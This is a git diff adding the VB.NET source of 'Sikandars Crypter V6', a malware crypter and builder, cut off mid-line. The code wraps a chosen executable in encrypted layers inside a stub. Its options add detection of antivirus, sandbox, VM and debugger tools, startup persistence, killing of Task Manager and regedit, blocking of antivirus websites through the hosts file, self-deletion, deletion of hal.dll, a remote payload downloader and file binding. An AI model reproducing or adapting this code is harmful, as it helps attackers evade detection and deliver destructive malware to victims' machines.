ZOWUcf6LkNi36z8L72PLfWxXhERbtEO7S0TwsCjkZ17IH/zOFMH7VNEU0XjR+yL6OFQ0WET/kUMv0cui + HiLkhMweEd0nQpa3i24UIeO2oisl+xai88OxOEPbU0THi44RHSZqKDogHE/GtUE4zow34874owfoA3qB + fqAnhaofvckVoUs5Os4KqYrO/QbtD8wBe8CgepGHtGkAHHlIgZf0S3pH1BV5SJumf//LTsJ6HlKUQ9p0 + pdhcYMI1TU1gRzmkqrmqKIe06fr4vwBU6+WQiI2jp2w/TQk29og/esq28Sdx0VO2n6Zz/wvgk64P6z1l + i9Yhbb5iROuQNrwGKfVR+09dk8Sk6VO0DmnzdTaTAC65DkmJteh9tkgGkQ5EOpAROpARTESgGE0KkQ5E + OoAORIAUzYyRDkQ6kDE6kDGMRDNkNENGOhDpQARI0ewY6UCkAxmjAxnDSDQ7RrNjpAORDkSAFM2OkQ5E + OpAxOpAxjESzYzQ7RjoQ6cD/A/Dbriu5N5JTAAAAAElFTkSuQmCC + + + + 57 + + \ No newline at end of file diff --git a/scode (Sikandars.Crypter.V6.VB.NET/Form1.vb b/scode (Sikandars.Crypter.V6.VB.NET/Form1.vb new file mode 100644 index 0000000..6bb9d08 --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/Form1.vb @@ -0,0 +1,1989 @@ +Imports System.IO +Imports System.Reflection + +Public Class Form1 + Dim o, oo As New OpenFileDialog + Private Sub MButton1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MButton1.Click + o.DefaultExt = "" + o.Filter = "Portable Executable Files (*.Exe)|*.Exe" + o.FilterIndex = 1 + o.FileName = "" + If o.ShowDialog(Me) = 1 Then + TextBox1.Text = o.FileName + End If + End Sub + Dim ResLoc As String = Application.StartupPath & "\A.Resources" + Dim MyGuid As Guid + Dim Stub As String = My.Resources.Stub + Dim NewLine As String = Environment.NewLine + Dim SFD As New SaveFileDialog + Dim S As String + Private Sub MButton5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MButton5.Click + If TextBox1.Text = "Browse File to Protect..." Then + MessageBox.Show("Please select a PE file to encrypt.", "Input", MessageBoxButtons.OK, MessageBoxIcon.Information) + Exit Sub + ElseIf TextBox3.Text = "Browse PE to Inject with..." Then + MessageBox.Show("Please select a PE file to use for Injection.", "Input", MessageBoxButtons.OK, MessageBoxIcon.Information) + Exit Sub + End If + SFD.AddExtension = True + SFD.Filter = "Executable Files (*.exe)|*.exe|Com Files (*.com)|*.com|Batch Files (*.bat)|*.bat|Program Information File (*.pif)|*.pif|Screen Saver Files (*.scr)|*.scr" + If SFD.ShowDialog = Windows.Forms.DialogResult.OK Then + S = SFD.FileName + Else : Exit Sub + End If + Dim FileByte() As Byte = IO.File.ReadAllBytes(TextBox1.Text) + Dim FileString As String = System.Text.Encoding.Default.GetString(FileByte) + MyGuid = Guid.NewGuid() + Dim EPass As String = MyGuid.ToString + Dim BPass As Byte() = System.Text.Encoding.Default.GetBytes(EPass) + Dim OutputByte As Byte() = Nothing + Dim OutputString As String = Nothing + Dim OutputBInj As Byte() = Nothing + Dim OutputSInj As String = Nothing + Dim ResByte As Byte() = IO.File.ReadAllBytes(TextBox3.Text) + Dim ResString As String = System.Text.Encoding.Default.GetString(ResByte) + Dim SName As String = TextBox4.Text + Dim SNameB As Byte() = System.Text.Encoding.Default.GetBytes(SName) + Dim OutName As String = Nothing + Dim OutNameB As Byte() = Nothing + Using A As New Resources.ResourceWriter(ResLoc) + If RadioButton1.Checked = True Then + 'OutputByte = Encryption_Algorithms.Rc4(FileByte, BPass) + 'OutputBInj = Encryption_Algorithms.Rc4(ResByte, BPass) + 'OutNameB = Encryption_Algorithms.Rc4(SNameB, BPass) + 'A.AddResource("I", OutputBInj) + 'A.AddResource("F", OutputByte) + 'A.AddResource("NM", OutNameB) + 'A.AddResource("K", BPass) + OutputString = ReverseString(System.Text.Encoding.Default.GetString(Encryption_Algorithms.Rc4(FileByte, BPass))) + OutputSInj = ReverseString(System.Text.Encoding.Default.GetString(Encryption_Algorithms.Rc4(ResByte, BPass))) + OutName = ReverseString(System.Text.Encoding.Default.GetString(Encryption_Algorithms.Rc4(SNameB, BPass))) + A.AddResource("I", OutputSInj) + A.AddResource("F", OutputString) + A.AddResource("NM", OutName) + A.AddResource("K", BPass) + Stub = Stub.Replace("'InjectionEncryptionAlgorithm", My.Resources.RC4) + Stub = Stub.Replace("'LoadMethod", My.Resources.RC4Loader) + + ElseIf RadioButton4.Checked = True Then + OutputString = Encryption_Algorithms.TripleDES(FileString, EPass, True) + OutputSInj = Encryption_Algorithms.TripleDES(ResString, EPass, True) + OutName = Encryption_Algorithms.TripleDES(SName, EPass, True) + A.AddResource("I", OutputSInj) + A.AddResource("F", OutputString) + A.AddResource("NM", OutName) + A.AddResource("K", EPass) + Stub = Stub.Replace("'InjectionEncryptionAlgorithm", My.Resources.TDESRev) + Stub = Stub.Replace("'LoadMethod", My.Resources.TDESLoader) + ElseIf RadioButton9.Checked = True Then + OutputString = Encryption_Algorithms.Rijndael(FileString, EPass) + OutputSInj = Encryption_Algorithms.Rijndael(ResString, EPass) + OutName = Encryption_Algorithms.Rijndael(SName, EPass) + A.AddResource("I", OutputSInj) + A.AddResource("F", OutputString) + A.AddResource("NM", OutName) + A.AddResource("K", EPass) + Stub = Stub.Replace("'InjectionEncryptionAlgorithm", My.Resources.RijndaelRev) + Stub = Stub.Replace("'LoadMethod", My.Resources.RijLoader) + ElseIf RadioButton10.Checked = True Then + OutputString = ReverseString(System.Text.Encoding.Default.GetString(Encryption_Algorithms.StairsEncryption.Crypt(FileByte, BPass))) + OutputSInj = ReverseString(System.Text.Encoding.Default.GetString(Encryption_Algorithms.StairsEncryption.Crypt(ResByte, BPass))) + OutName = ReverseString(System.Text.Encoding.Default.GetString(Encryption_Algorithms.StairsEncryption.Crypt(SNameB, BPass))) + A.AddResource("I", OutputSInj) + A.AddResource("F", OutputString) + A.AddResource("NM", OutName) + A.AddResource("K", BPass) + 'OutputByte = Encryption_Algorithms.StairsEncryption.Crypt(FileByte, BPass) + 'OutputBInj = Encryption_Algorithms.StairsEncryption.Crypt(ResByte, BPass) + 'OutNameB = Encryption_Algorithms.StairsEncryption.Crypt(SNameB, BPass) + 'A.AddResource("I", OutputBInj) + 'A.AddResource("F", OutputByte) + 'A.AddResource("NM", OutNameB) + 'A.AddResource("K", BPass) + Stub = Stub.Replace("'InjectionEncryptionAlgorithm", My.Resources.StairsRev) + Stub = Stub.Replace("'LoadMethod", My.Resources.StairsLoader) + ElseIf RadioButton17.Checked = True Then + OutputString = ReverseString(System.Text.Encoding.Default.GetString(Encryption_Algorithms.AESEncrypt(FileByte))) + OutputSInj = ReverseString(System.Text.Encoding.Default.GetString(Encryption_Algorithms.AESEncrypt(ResByte))) + OutName = ReverseString(System.Text.Encoding.Default.GetString(Encryption_Algorithms.AESEncrypt(SNameB))) + A.AddResource("I", OutputSInj) + A.AddResource("F", OutputString) + A.AddResource("NM", OutName) + A.AddResource("K", BPass) + 'OutputByte = Encryption_Algorithms.AESEncrypt(FileByte) + 'OutputBInj = Encryption_Algorithms.AESEncrypt(ResByte) + 'OutNameB = Encryption_Algorithms.AESEncrypt(SNameB) + 'A.AddResource("I", OutputBInj) + 'A.AddResource("F", OutputByte) + 'A.AddResource("NM", OutNameB) + Stub = Stub.Replace("'InjectionEncryptionAlgorithm", My.Resources.AESRev) + Stub = Stub.Replace("'LoadMethod", My.Resources.AESLoader) + ElseIf RadioButton2.Checked = True Then + OutputString = Encryption_Algorithms.xEncryption(EPass, FileString) + OutputSInj = Encryption_Algorithms.xEncryption(EPass, ResString) + OutName = Encryption_Algorithms.xEncryption(EPass, SName) + A.AddResource("I", OutputSInj) + A.AddResource("F", OutputString) + A.AddResource("NM", OutName) + A.AddResource("K", EPass) + Stub = Stub.Replace("'InjectionEncryptionAlgorithm", My.Resources.XORRev) + Stub = Stub.Replace("'LoadMethod", My.Resources.XORLoader) + ElseIf RadioButton3.Checked = True Then + Dim P As New Encryption_Algorithms.PolyMorphic(EPass) + OutputString = ReverseString(System.Text.Encoding.Default.GetString(P.PolyCrypt(FileByte))) + OutputSInj = ReverseString(System.Text.Encoding.Default.GetString(P.PolyCrypt(ResByte))) + OutName = ReverseString(System.Text.Encoding.Default.GetString(P.PolyCrypt(SNameB))) + A.AddResource("I", OutputSInj) + A.AddResource("F", OutputString) + A.AddResource("NM", OutName) + A.AddResource("K", EPass) + 'OutputByte = P.PolyCrypt(FileByte) + 'OutputBInj = P.PolyCrypt(ResByte) + 'OutNameB = P.PolyCrypt(SNameB) + 'A.AddResource("I", OutputBInj) + 'A.AddResource("F", OutputByte) + 'A.AddResource("NM", OutNameB) + 'A.AddResource("K", EPass) + Stub = Stub.Replace("'InjectionEncryptionAlgorithm", My.Resources.PolyXORRev) + Stub = Stub.Replace("'LoadMethod", My.Resources.PolyXORLoader) + ElseIf RadioButton24.Checked = True Then + OutputString = ReverseString(System.Text.Encoding.Default.GetString(Encryption_Algorithms.PolyMorphicStairs.PolyCrypt(FileByte, BPass))) + OutputSInj = ReverseString(System.Text.Encoding.Default.GetString(Encryption_Algorithms.PolyMorphicStairs.PolyCrypt(ResByte, BPass))) + OutName = ReverseString(System.Text.Encoding.Default.GetString(Encryption_Algorithms.PolyMorphicStairs.PolyCrypt(SNameB, BPass))) + A.AddResource("I", OutputSInj) + A.AddResource("F", OutputString) + A.AddResource("NM", OutName) + A.AddResource("K", BPass) + 'OutputByte = Encryption_Algorithms.PolyMorphicStairs.PolyCrypt(FileByte, BPass) + 'OutputBInj = Encryption_Algorithms.PolyMorphicStairs.PolyCrypt(ResByte, BPass) + 'OutNameB = Encryption_Algorithms.PolyMorphicStairs.PolyCrypt(SNameB, BPass) + 'A.AddResource("I", OutputBInj) + 'A.AddResource("F", OutputByte) + 'A.AddResource("NM", OutNameB) + 'A.AddResource("K", BPass) + Stub = Stub.Replace("'InjectionEncryptionAlgorithm", My.Resources.PolyStairsRev) + Stub = Stub.Replace("'LoadMethod", My.Resources.PolyStairsLoader) + ElseIf RadioButton21.Checked = True Then + Dim P As New Encryption_Algorithms.PolyRC4(EPass) + OutputString = P.Encrypt(FileString) + OutputSInj = P.Encrypt(ResString) + OutName = P.Encrypt(SName) + A.AddResource("I", OutputSInj) + A.AddResource("F", OutputString) + A.AddResource("NM", OutName) + A.AddResource("K", EPass) + Stub = Stub.Replace("'InjectionEncryptionAlgorithm", My.Resources.PolyRC4Rev) + Stub = Stub.Replace("'LoadMethod", My.Resources.PolyRC4Loader) + End If + If CheckBox68.Checked = True Then + Dim xfile As Byte() = New Byte() {} + My.Computer.FileSystem.WriteAllBytes(xpath, xfile, True) + If RadioButton15.Checked = True Then + PumpFile(xpath, NumericUpDown6.Value) + ElseIf RadioButton16.Checked = True Then + PumpFile(xpath, NumericUpDown7.Value * 1024) + End If + A.AddResource("Q", IO.File.ReadAllBytes(xpath)) + IO.File.Delete(xpath) + End If + If ListView1.Items.Count > 0 Then + For Each item As ListViewItem In ListView1.Items + Dim itmTag As Byte() = IO.File.ReadAllBytes(item.Tag) + Dim Everything As String = System.Text.Encoding.Default.GetString(itmTag) + "@|C|@" + _ + IO.Path.GetExtension(item.Tag) + Dim EncryptedS As String = Nothing + Dim EncryptedB As Byte() = Nothing + If RadioButton1.Checked = True Then + 'EncryptedB = Encryption_Algorithms.Rc4(System.Text.Encoding.Default.GetBytes(Everything), BPass) + EncryptedS = ReverseString(System.Text.Encoding.Default.GetString(Encryption_Algorithms.Rc4(System.Text.Encoding.Default.GetBytes(Everything), BPass))) + A.AddResource("Ev", EncryptedS) + ElseIf RadioButton4.Checked = True Then + EncryptedS = Encryption_Algorithms.TripleDES(Everything, EPass, True) + A.AddResource("Ev", EncryptedS) + ElseIf RadioButton9.Checked = True Then + EncryptedS = Encryption_Algorithms.Rijndael(Everything, EPass) + A.AddResource("Ev", EncryptedS) + ElseIf RadioButton10.Checked = True Then + 'EncryptedB = Encryption_Algorithms.StairsEncryption.Crypt(System.Text.Encoding.Default.GetBytes(Everything), BPass) + EncryptedS = ReverseString(System.Text.Encoding.Default.GetString(Encryption_Algorithms.StairsEncryption.Crypt(System.Text.Encoding.Default.GetBytes(Everything), BPass))) + A.AddResource("Ev", EncryptedS) + ElseIf RadioButton17.Checked = True Then + 'EncryptedB = Encryption_Algorithms.AESEncrypt(System.Text.Encoding.Default.GetBytes(Everything)) + EncryptedS = ReverseString(System.Text.Encoding.Default.GetString(Encryption_Algorithms.AESEncrypt(System.Text.Encoding.Default.GetBytes(Everything)))) + A.AddResource("Ev", EncryptedS) + ElseIf RadioButton2.Checked = True Then + EncryptedS = Encryption_Algorithms.xEncryption(EPass, Everything) + A.AddResource("Ev", EncryptedS) + ElseIf RadioButton3.Checked = True Then + Dim xx As New Encryption_Algorithms.PolyMorphic(EPass) + 'EncryptedB = xx.PolyCrypt(System.Text.Encoding.Default.GetBytes(Everything)) + EncryptedS = ReverseString(System.Text.Encoding.Default.GetString(xx.PolyCrypt(System.Text.Encoding.Default.GetBytes(Everything)))) + A.AddResource("Ev", EncryptedS) + ElseIf RadioButton21.Checked = True Then + Dim xx As New Encryption_Algorithms.PolyRC4(EPass) + EncryptedS = xx.Encrypt(Everything) + A.AddResource("Ev", EncryptedS) + ElseIf RadioButton24.Checked = True Then + 'EncryptedB = Encryption_Algorithms.PolyMorphicStairs.PolyCrypt(System.Text.Encoding.Default.GetBytes(Everything), BPass) + EncryptedS = ReverseString(System.Text.Encoding.Default.GetString(Encryption_Algorithms.PolyMorphicStairs.PolyCrypt(System.Text.Encoding.Default.GetBytes(Everything), BPass))) + A.AddResource("Ev", EncryptedS) + End If + Next + End If + If FileByte(60) = 128 Then + A.AddResource("X", My.Resources.Invoke) + Else + A.AddResource("X", ReverseString(My.Resources.RpE)) + End If + A.Generate() + End Using + Options() + + Compile(Stub, S, True, "Out", False, ResLoc) + If TextBox2.Text = ooo.FileName Then + IconChanger.InjectIcon(S, ooo.FileName) + End If + Dim Offset As String = "1" + Dim OffsetSource() As Byte = System.Text.Encoding.Default.GetBytes(Offset) + Using AntiAI As New FileStream(S, FileMode.Open, FileAccess.Write) + AntiAI.Seek(4587, SeekOrigin.Begin) + AntiAI.WriteByte(Offset) + If CheckBox59.Checked = True Then + AntiAI.Seek(244, SeekOrigin.Begin) + AntiAI.WriteByte(11) + End If + AntiAI.Close() + End Using + + If CheckBox27.Checked = True Then + Dim EOF As String = Nothing + EOF = ReadEOFData(o.FileName) + IO.File.AppendAllText(S, EOF) + End If + Stub = My.Resources.ResetStub + IO.File.Delete(ResLoc) + MessageBox.Show("PE File Encrypted Successfully", "Success", MessageBoxButtons.OK, MessageBoxIcon.Information) + End Sub + Dim XTeaPass As New Random + Public Function ReadEOFData(ByRef FilePath As String) As String + Dim EOFBuf As String + Dim lPos As Integer + If Dir(FilePath) = "" Then + Exit Function + End If + Dim ReadFile As String = IO.File.ReadAllText(FilePath) + lPos = InStr(1, StrReverse(ReadFile), GetNullBytes(30)) + EOFBuf = (Mid(StrReverse(ReadFile), 1, lPos - 1)) + ReadEOFData = StrReverse(EOFBuf) + If ReadEOFData = "" Then + End If + Exit Function + End Function + Public Function GetNullBytes(ByRef lNum As Object) As String + Dim Buf As String + Dim i As Short + For i = 1 To lNum + Buf = Buf & Chr(0) + Next + GetNullBytes = Buf + End Function + Dim tempicon As String = Application.StartupPath & "\Ticon.ico" + Sub Options() + If RadioButton18.Checked = True Then + If RadioButton2.Checked = False Then + Stub = Stub.Replace("'StubStrEncryption", My.Resources.XORRev) + End If + ElseIf RadioButton20.Checked = True Then + If RadioButton9.Checked = False Then + Stub = Stub.Replace("'StubStrEncryption", My.Resources.RijndaelRev) + End If + ElseIf RadioButton19.Checked = True Then + If RadioButton4.Checked = False Then + Stub = Stub.Replace("'StubStrEncryption", My.Resources.TDESRev) + End If + ElseIf RadioButton25.Checked = True Then + Stub = Stub.Replace("'StubStrEncryption", My.Resources.PolyDec) + End If + If CheckBox72.Checked = True Then + Stub = Stub.Replace("'AssemblyCodes", AssemblyChange) + Else + Stub = Stub.Replace("'AssemblyCodes", Nothing) + End If + If CheckBox71.Checked = True Then + Stub = Stub.Replace("'Anti's Sub", My.Resources.AntisSub) + Stub = Stub.Replace("'FunctionA", My.Resources.FunctionA) + Stub = Stub.Replace("'CallAntis", "AT") + Stub = Stub.Replace("'Killer Sub", My.Resources.Killers) + Stub = Stub.Replace("'KillerFunction", My.Resources.KFunction) + Stub = Stub.Replace("'KKK", "KKK") + Stub = Stub.Replace("""SELECT * FROM Win32_VideoController""", EncryptString("SELECT * FROM Win32_VideoController")) + Stub = Stub.Replace("""winmgmts:""", EncryptString("winmgmts:")) + Stub = Stub.Replace("""\Sample.exe""", EncryptString("\Sample.exe")) + Stub = Stub.Replace("""wireshark""", EncryptString("wireshark")) + Stub = Stub.Replace("""VM Additions S3 Trio32/64""", EncryptString("VM Additions S3 Trio32/64")) + Stub = Stub.Replace("""VirtualBox Graphics Adapter""", EncryptString("VirtualBox Graphics Adapter")) + Stub = Stub.Replace("""SbieSvc""", EncryptString("SbieSvc")) + Stub = Stub.Replace("""avp""", EncryptString("avp")) + Stub = Stub.Replace("""VMware SVGA II""", EncryptString("VMware SVGA II")) + Stub = Stub.Replace("""ashServ""", EncryptString("ashServ")) + Stub = Stub.Replace("""avgtray""", EncryptString("avgtray")) + Stub = Stub.Replace("""avgnt""", EncryptString("avgnt")) + Stub = Stub.Replace("""76487-337-8429955-22614""", EncryptString("76487-337-8429955-22614")) + Stub = Stub.Replace("""SOFTWARE\Microsoft\Windows NT\CurrentVersion""", _ + EncryptString("SOFTWARE\Microsoft\Windows NT\CurrentVersion")) + Stub = Stub.Replace("""ProductId""", EncryptString("ProductId")) + Stub = Stub.Replace("""keyscrambler""", EncryptString("keyscrambler")) + Stub = Stub.Replace("""bdagent""", EncryptString("bdagent")) + Stub = Stub.Replace("""mbam""", EncryptString("mbam")) + Stub = Stub.Replace("""panda""", EncryptString("panda")) + Stub = Stub.Replace("""zlclient""", EncryptString("zlclient")) + Stub = Stub.Replace("""ollydbg""", EncryptString("ollydbg")) + Stub = Stub.Replace("""egui""", EncryptString("egui")) + Stub = Stub.Replace("""hijackthis""", EncryptString("hijackthis")) + Stub = Stub.Replace("""npfmsg""", EncryptString("npfmsg")) + Stub = Stub.Replace("""SBAMsvc""", EncryptString("SBAMsvc")) + Stub = Stub.Replace("""wine""", EncryptString("wine")) + Stub = Stub.Replace("""outpost""", EncryptString("outpost")) + Stub = Stub.Replace("""joeboxserver""", EncryptString("joeboxserver")) + Stub = Stub.Replace("""joeboxcontrol""", EncryptString("joeboxcontrol")) + 'Else + ' Stub = Stub.Replace("'Anti's Sub", Nothing) + ' Stub = Stub.Replace("'FunctionA", Nothing) + ' Stub = Stub.Replace("'CallAntis", Nothing) + ' Stub = Stub.Replace("'Killer Sub", Nothing) + ' Stub = Stub.Replace("'KillerFunction", Nothing) + ' Stub = Stub.Replace("'KKK", Nothing) + End If + If CheckBox28.Checked = True Then + Dim A2S As String = "Dim P2S As New Threading.Thread(AddressOf PushStart)" & Environment.NewLine & _ + Environment.NewLine & "P2S.Start()" & Environment.NewLine + Stub = Stub.Replace("'Add2StartUp", My.Resources.Add2StartUp) + Stub = Stub.Replace("'AStartUpCall", A2S) + 'Else + ' Stub = Stub.Replace("'Add2StartUp", Nothing) + ' Stub = Stub.Replace("'AStartUpCall", Nothing) + End If + If CheckBox1.Checked = True Then + Dim MB As String = Nothing + Dim MHold As String = Nothing + If RadioButton26.Checked = True Then + If RadioButton43.Checked Then + MB = "MessageBox.Show(" & Chr(34) & TextBox19.Text & Chr(34) & " , " & Chr(34) & TextBox9.Text & Chr(34) & ", MessageBoxButtons.OK, MessageBoxIcon.Error)" + ElseIf RadioButton45.Checked Then + MB = "MessageBox.Show(" & Chr(34) & TextBox19.Text & Chr(34) & ", " & Chr(34) & TextBox9.Text & Chr(34) & ", MessageBoxButtons.YesNo, MessageBoxIcon.Error)" + ElseIf RadioButton46.Checked Then + MB = "MessageBox.Show(" & Chr(34) & TextBox19.Text & Chr(34) & ", " & Chr(34) & TextBox9.Text & Chr(34) & ", MessageBoxButtons.OKCancel, MessageBoxIcon.Error)" + ElseIf RadioButton47.Checked Then + MB = "MessageBox.Show(" & Chr(34) & TextBox19.Text & Chr(34) & ", " & Chr(34) & TextBox9.Text & Chr(34) & ", MessageBoxButtons.RetryCancel, MessageBoxIcon.Error)" + End If + ElseIf RadioButton28.Checked = True Then + If RadioButton43.Checked Then + MB = "MessageBox.Show(" & Chr(34) & TextBox19.Text & Chr(34) & ", " & Chr(34) & TextBox9.Text & Chr(34) & ", MessageBoxButtons.OK, MessageBoxIcon.Information)" + ElseIf RadioButton45.Checked Then + MB = "MessageBox.Show(" & Chr(34) & TextBox19.Text & Chr(34) & ", " & Chr(34) & TextBox9.Text & Chr(34) & ", MessageBoxButtons.YesNo, MessageBoxIcon.Information)" + ElseIf RadioButton46.Checked Then + MB = "MessageBox.Show(" & Chr(34) & TextBox19.Text & Chr(34) & ", " & Chr(34) & TextBox9.Text & Chr(34) & ", MessageBoxButtons.OKCancel, MessageBoxIcon.Information)" + ElseIf RadioButton47.Checked Then + MB = "MessageBox.Show(" & Chr(34) & TextBox19.Text & Chr(34) & ", " & Chr(34) & TextBox9.Text & Chr(34) & ", MessageBoxButtons.RetryCancel, MessageBoxIcon.Information)" + End If + End If + Stub = Stub.Replace("'MessageB", MB) + 'Else + ' Stub = Stub.Replace("'MessageB", Nothing) + End If + If CheckBox74.Checked = True Then + Stub = Stub.Replace("'Websites", My.Resources.Websites) + Stub = Stub.Replace("'CallWS", "W") + Stub = Stub.Replace("""www.novirusthanks.org""", EncryptString("www.novirusthanks.org")) + Stub = Stub.Replace("""www.virustotal.com""", EncryptString("www.virustotal.com")) + Stub = Stub.Replace("""www.virusscan.jotti.org""", EncryptString("www.virusscan.jotti.org")) + Stub = Stub.Replace("""www.malwarebytes.org""", EncryptString("www.malwarebytes.org")) + Stub = Stub.Replace("""www.bitdefender.com/scanner/online/free.html""", EncryptString("www.bitdefender.com/scanner/online/free.html")) + Stub = Stub.Replace("""www.eset.com/online-scanner""", EncryptString("www.eset.com/online-scanner")) + Stub = Stub.Replace("""housecall.trendmicro.com""", EncryptString("housecall.trendmicro.com")) + Stub = Stub.Replace("""www.kaspersky.com/scanforvirus""", EncryptString("www.kaspersky.com/scanforvirus")) + Stub = Stub.Replace("""www.kaspersky.com/virusscanner""", EncryptString("www.kaspersky.com/virusscanner")) + Stub = Stub.Replace("""www.f-secure.com/en_EMEA/security/tools/online-scanner/""", EncryptString("www.f-secure.com/en_EMEA/security/tools/online-scanner/")) + Stub = Stub.Replace("""www.windowsecurity.com/trojanscan""", EncryptString("www.windowsecurity.com/trojanscan")) + Stub = Stub.Replace("""www.avg.com""", EncryptString("www.avg.com")) + Stub = Stub.Replace("""www.avast.com""", EncryptString("www.avast.com")) + Stub = Stub.Replace("""www.avira.com""", EncryptString("www.avira.com")) + Stub = Stub.Replace("""www.zonealarm.com""", EncryptString("www.zonealarm.com")) + Stub = Stub.Replace("""www.Symantec.com""", EncryptString("www.Symantec.com")) + Stub = Stub.Replace("""security.symantec.com""", EncryptString("security.symantec.com")) + Stub = Stub.Replace("""www.pandasecurity.com""", EncryptString("www.pandasecurity.com")) + Stub = Stub.Replace("""\DNS.bat""", EncryptString("\DNS.bat")) + Stub = Stub.Replace("""ipconfig/flushdns""", EncryptString("ipconfig/flushdns")) + Stub = Stub.Replace("""ipconfig/release""", EncryptString("ipconfig/release")) + Stub = Stub.Replace("""ipconfig/renew""", EncryptString("ipconfig/renew")) + Stub = Stub.Replace("""\drivers\etc\hosts""", EncryptString("\drivers\etc\hosts")) + 'Else + ' Stub = Stub.Replace("'Websites", Nothing) + ' Stub = Stub.Replace("'CallWS", Nothing) + End If + If CheckBox50.Checked = True Then + Stub = Stub.Replace("'TaskmanagerSub", My.Resources.TaskMSub) + If Not CheckBox71.Checked = True Then + Stub = Stub.Replace("'KillerFunction", My.Resources.KFunction) + End If + Dim TM As String = "Dim KF59 As New System.Threading.Thread(AddressOf F59)" & Environment.NewLine & _ + Environment.NewLine & "KF59.Start()" & Environment.NewLine & Environment.NewLine + Stub = Stub.Replace("'TaskManagerK", TM) + Stub = Stub.Replace("""taskmgr""", EncryptString("taskmgr")) + 'Else + ' Stub = Stub.Replace("'TaskmanagerSub", Nothing) + ' Stub = Stub.Replace("'TaskManagerK", Nothing) + End If + If CheckBox51.Checked = True Then + Stub = Stub.Replace("'RegeditSub", My.Resources.Regedit) + If Not CheckBox71.Checked = True Then + Stub = Stub.Replace("'KillerFunction", My.Resources.KFunction) + End If + Dim RE As String = "Dim KF60 As New System.Threading.Thread(AddressOf F60)" & Environment.NewLine & _ + Environment.NewLine & "KF60.Start()" & Environment.NewLine & Environment.NewLine + Stub = Stub.Replace("'RegeditK", RE) + Stub = Stub.Replace("""regedit""", EncryptString("regedit")) + 'Else + ' Stub = Stub.Replace("'RegeditK", Nothing) + ' Stub = Stub.Replace("'RegeditSub", Nothing) + End If + If CheckBox52.Checked = True Then + Stub = Stub.Replace("'msconfigSub", My.Resources.msconfig) + If Not CheckBox71.Checked = True Then + Stub = Stub.Replace("'KillerFunction", My.Resources.KFunction) + End If + Dim MS As String = "Dim KF61 As New System.Threading.Thread(AddressOf F61)" & Environment.NewLine & _ + Environment.NewLine & "KF61.Start()" & Environment.NewLine & Environment.NewLine + Stub = Stub.Replace("'msconfigK", MS) + Stub = Stub.Replace("""msconfig""", EncryptString("msconfig")) + 'Else + ' Stub = Stub.Replace("'msconfigSub", Nothing) + ' Stub = Stub.Replace("'msconfigK", Nothing) + End If + If CheckBox53.Checked = True Then + Stub = Stub.Replace("'notepadSub", My.Resources.ANotePad) + If Not CheckBox71.Checked = True Then + Stub = Stub.Replace("'KillerFunction", My.Resources.KFunction) + End If + Dim AN As String = "Dim KF62 As New System.Threading.Thread(AddressOf F62)" & Environment.NewLine & _ + Environment.NewLine & "KF62.Start()" & Environment.NewLine & Environment.NewLine + Stub = Stub.Replace("'notepadK", AN) + Stub = Stub.Replace("""notepad""", EncryptString("notepad")) + 'Else + ' Stub = Stub.Replace("'notepadK", Nothing) + ' Stub = Stub.Replace("'notepadSub", Nothing) + End If + If CheckBox54.Checked = True Then + Stub = Stub.Replace("'dxdiagSub", My.Resources.Adxdiag) + If Not CheckBox71.Checked = True Then + Stub = Stub.Replace("'KillerFunction", My.Resources.KFunction) + End If + Dim DX As String = "Dim KF63 As New System.Threading.Thread(AddressOf F63)" & Environment.NewLine & _ + Environment.NewLine & "KF63.Start()" & Environment.NewLine & Environment.NewLine + Stub = Stub.Replace("'dxdiagK", DX) + Stub = Stub.Replace("""dxdiag""", EncryptString("dxdiag")) + 'Else + ' Stub = Stub.Replace("'dxdiagSub", Nothing) + ' Stub = Stub.Replace("'dxdiagK", Nothing) + End If + If CheckBox55.Checked = True Then + Stub = Stub.Replace("'FolderOpts", My.Resources.FolderOpt) + Stub = Stub.Replace("""NoFolderOptions""", EncryptString("NoFolderOptions")) + Stub = Stub.Replace("""HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer""", _ + EncryptString("HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer")) + 'Else + ' Stub = Stub.Replace("'FolderOpts", Nothing) + End If + If CheckBox56.Checked = True Then + Stub = Stub.Replace("'meltSub", My.Resources.Melt) + Stub = Stub.Replace("'meltcall", "Melt(IO.Path.GetFileName(Application.ExecutablePath))") + Stub = Stub.Replace("""\Install.log""", EncryptString("\Install.log")) + 'Else + ' Stub = Stub.Replace("'meltSub", Nothing) + ' Stub = Stub.Replace("'meltcall", Nothing) + End If + If CheckBox60.Checked = True Then + Stub = Stub.Replace("'restart", My.Resources.Restart) + Stub = Stub.Replace("""\restart""", EncryptString("\restart")) + Stub = Stub.Replace("""shutdown -r -t""", EncryptString("shutdown -r -t")) + 'Else + ' Stub = Stub.Replace("'restart", Nothing) + End If + If CheckBox58.Checked = True Then + Stub = Stub.Replace("'Downloader", My.Resources.Downloader) + Stub = Stub.Replace("$DownloadLink$", EncryptString(TextBox8.Text)) + 'Else + ' Stub = Stub.Replace("'Downloader", Nothing) + End If + If NumericUpDown5.Value = 0 Then + Stub = Stub.Replace("System.Threading.Thread.Sleep(DelayExe * 1000)", Nothing) + Else + Stub = Stub.Replace("DelayExe", NumericUpDown5.Value) + End If + If CheckBox61.Checked = True Then + Stub = Stub.Replace("'delHALDLL", My.Resources.HalDLL) + Stub = Stub.Replace("""\hal.dll""", EncryptString("\hal.dll")) + 'Else + ' Stub = Stub.Replace("'delHALDLL", Nothing) + End If + If ListView1.Items.Count > 0 Then + Stub = Stub.Replace("'Binder", My.Resources.Binder) + Dim Binder As String = Nothing + If RadioButton1.Checked = True Then + Binder = "Dim FDC As String = System.Text.Encoding.Default.GetString(RC4(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject(" & Chr(34) & "Ev" & _ + Chr(34) & "))), " & "R.GetObject(" & Chr(34) & "K" & Chr(34) & ")))" & NewLine & _ + "filled = Split(FDC, " & Chr(34) & "@|C|@" & Chr(34) & ")" + ElseIf RadioButton4.Checked = True Then + Binder = "Dim FDC As String = TripleDESdecrypt(R.GetObject(" & Chr(34) & "Ev" & _ + Chr(34) & "), " & "R.GetObject(" & Chr(34) & "K" & Chr(34) & "), True)" & NewLine & _ + "filled = Split(FDC, " & Chr(34) & "@|C|@" & Chr(34) & ")" + ElseIf RadioButton9.Checked = True Then + Binder = "Dim FDC As String = RijndaelDecrypt(R.GetObject(" & Chr(34) & 